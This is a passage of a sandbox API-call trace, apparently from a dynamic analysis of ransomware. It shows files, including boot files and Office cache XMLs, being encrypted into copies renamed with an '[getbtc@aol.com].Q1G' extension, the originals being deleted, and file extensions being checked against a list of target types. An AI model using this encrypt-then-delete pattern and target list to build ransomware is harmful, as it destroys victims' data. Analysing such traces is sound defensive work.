(lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x26) returned 1 [0034.744] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0034.744] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.744] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.744] lstrlenW (lpString=".doc") returned 4 [0034.745] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString=".docx") returned 5 [0034.745] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0034.745] lstrlenW (lpString=".pdf") returned 4 [0034.745] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString=".xls") returned 4 [0034.745] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString=".xlsx") returned 5 [0034.745] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0034.745] lstrlenW (lpString=".ppt") returned 4 [0034.745] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.745] lstrlenW (lpString=".zip") returned 4 [0034.745] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString=".rar") returned 4 [0034.745] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString=".bz2") returned 4 [0034.745] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0034.745] lstrlenW (lpString=".7z") returned 3 [0034.745] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.745] lstrlenW (lpString=".dbf") returned 4 [0034.745] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.745] lstrlenW (lpString=".1cd") returned 4 [0034.745] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.745] lstrlenW (lpString=".jpg") returned 4 [0034.745] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.745] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.746] lstrlenW (lpString=".doc") returned 4 [0034.746] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString=".docx") returned 5 [0034.746] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0034.746] lstrlenW (lpString=".pdf") returned 4 [0034.746] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString=".xls") returned 4 [0034.746] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString=".xlsx") returned 5 [0034.746] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0034.746] lstrlenW (lpString=".ppt") returned 4 [0034.746] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.746] lstrlenW (lpString=".zip") returned 4 [0034.746] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString=".rar") returned 4 [0034.746] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString=".bz2") returned 4 [0034.746] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0034.746] lstrlenW (lpString=".7z") returned 3 [0034.746] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0034.746] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.746] lstrlenW (lpString=".dbf") returned 4 [0034.746] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0034.746] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.746] lstrlenW (lpString=".1cd") returned 4 [0034.746] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0034.746] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0034.746] lstrlenW (lpString=".jpg") returned 4 [0034.746] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0034.747] Sleep (dwMilliseconds=0x64) [0035.311] Sleep (dwMilliseconds=0x64) [0035.490] Sleep (dwMilliseconds=0x64) [0035.633] lstrcmpiW (lpString1=".BAK", lpString2=".Q1G") returned -1 [0035.633] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0035.633] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.635] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=8192) returned 1 [0035.636] CloseHandle (hObject=0x184) returned 1 [0035.636] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0035.636] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootsect.bak.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.636] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0035.636] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.636] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.636] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.636] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\bootsect.bak.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0035.637] GetLastError () returned 0x0 [0035.637] ReadFile (in: hFile=0x184, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x2000, lpOverlapped=0x0) returned 1 [0035.639] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2010, lpOverlapped=0x0) returned 1 [0035.641] ReadFile (in: hFile=0x184, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.641] WriteFile (in: hFile=0x188, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.641] SetEndOfFile (hFile=0x188) returned 1 [0035.641] CloseHandle (hObject=0x188) returned 1 [0035.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.642] SetEndOfFile (hFile=0x184) returned 1 [0035.643] CloseHandle (hObject=0x184) returned 1 [0035.643] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x27) returned 1 [0035.643] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0035.643] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.643] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.643] lstrlenW (lpString=".doc") returned 4 [0035.643] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0035.643] lstrlenW (lpString=".docx") returned 5 [0035.643] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0035.643] lstrlenW (lpString=".pdf") returned 4 [0035.643] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0035.643] lstrlenW (lpString=".xls") returned 4 [0035.643] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0035.643] lstrlenW (lpString=".xlsx") returned 5 [0035.643] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0035.643] lstrlenW (lpString=".ppt") returned 4 [0035.643] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0035.643] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.643] lstrlenW (lpString=".zip") returned 4 [0035.644] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".rar") returned 4 [0035.644] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".bz2") returned 4 [0035.644] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".7z") returned 3 [0035.644] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString=".dbf") returned 4 [0035.644] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString=".1cd") returned 4 [0035.644] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString=".jpg") returned 4 [0035.644] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString=".doc") returned 4 [0035.644] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".docx") returned 5 [0035.644] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0035.644] lstrlenW (lpString=".pdf") returned 4 [0035.644] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".xls") returned 4 [0035.644] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString=".xlsx") returned 5 [0035.644] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0035.644] lstrlenW (lpString=".ppt") returned 4 [0035.644] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0035.644] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.644] lstrlenW (lpString=".zip") returned 4 [0035.645] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0035.645] lstrlenW (lpString=".rar") returned 4 [0035.645] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0035.645] lstrlenW (lpString=".bz2") returned 4 [0035.645] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0035.645] lstrlenW (lpString=".7z") returned 3 [0035.645] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0035.645] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.645] lstrlenW (lpString=".dbf") returned 4 [0035.909] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0035.909] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.909] lstrlenW (lpString=".1cd") returned 4 [0035.909] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0035.909] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0035.909] lstrlenW (lpString=".jpg") returned 4 [0035.909] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0035.909] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.909] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0035.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.910] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=3186) returned 1 [0035.910] CloseHandle (hObject=0x19c) returned 1 [0035.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0035.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.911] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.911] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.911] GetLastError () returned 0x0 [0035.911] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0xc72, lpOverlapped=0x0) returned 1 [0035.913] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xc80, lpOverlapped=0x0) returned 1 [0035.913] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.913] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.914] SetEndOfFile (hFile=0x1a0) returned 1 [0035.914] CloseHandle (hObject=0x1a0) returned 1 [0035.914] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.914] SetEndOfFile (hFile=0x19c) returned 1 [0035.915] CloseHandle (hObject=0x19c) returned 1 [0035.915] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.915] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0035.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.916] lstrlenW (lpString=".doc") returned 4 [0035.916] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString=".docx") returned 5 [0035.916] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.916] lstrlenW (lpString=".pdf") returned 4 [0035.916] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString=".xls") returned 4 [0035.916] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString=".xlsx") returned 5 [0035.916] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.916] lstrlenW (lpString=".ppt") returned 4 [0035.916] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.916] lstrlenW (lpString=".zip") returned 4 [0035.916] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.916] lstrlenW (lpString=".rar") returned 4 [0035.916] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString=".bz2") returned 4 [0035.916] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString=".7z") returned 3 [0035.916] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.916] lstrlenW (lpString=".dbf") returned 4 [0035.916] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString=".1cd") returned 4 [0035.917] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString=".jpg") returned 4 [0035.917] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString=".doc") returned 4 [0035.917] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString=".docx") returned 5 [0035.917] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.917] lstrlenW (lpString=".pdf") returned 4 [0035.917] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString=".xls") returned 4 [0035.917] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString=".xlsx") returned 5 [0035.917] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.917] lstrlenW (lpString=".ppt") returned 4 [0035.917] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString=".zip") returned 4 [0035.917] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.917] lstrlenW (lpString=".rar") returned 4 [0035.917] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString=".bz2") returned 4 [0035.917] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString=".7z") returned 3 [0035.917] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.917] lstrlenW (lpString=".dbf") returned 4 [0035.917] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.917] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.918] lstrlenW (lpString=".1cd") returned 4 [0035.918] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.918] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0035.918] lstrlenW (lpString=".jpg") returned 4 [0035.918] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.918] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.918] lstrlenW (lpString="Setup.xml") returned 9 [0035.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.918] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4207) returned 1 [0035.918] CloseHandle (hObject=0x19c) returned 1 [0035.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.918] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.918] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.918] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.919] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.919] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.919] GetLastError () returned 0x0 [0035.919] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x106f, lpOverlapped=0x0) returned 1 [0035.920] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0035.923] ReadFile (in: hFile=0x19c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.923] WriteFile (in: hFile=0x1a0, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.924] SetEndOfFile (hFile=0x1a0) returned 1 [0035.924] CloseHandle (hObject=0x1a0) returned 1 [0035.924] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.924] SetEndOfFile (hFile=0x19c) returned 1 [0035.925] CloseHandle (hObject=0x19c) returned 1 [0035.925] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.925] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString=".doc") returned 4 [0035.926] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString=".docx") returned 5 [0035.926] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.926] lstrlenW (lpString=".pdf") returned 4 [0035.926] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString=".xls") returned 4 [0035.926] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString=".xlsx") returned 5 [0035.926] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.926] lstrlenW (lpString=".ppt") returned 4 [0035.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.926] lstrlenW (lpString=".zip") returned 4 [0035.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.926] lstrlenW (lpString=".rar") returned 4 [0035.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.926] lstrlenW (lpString=".bz2") returned 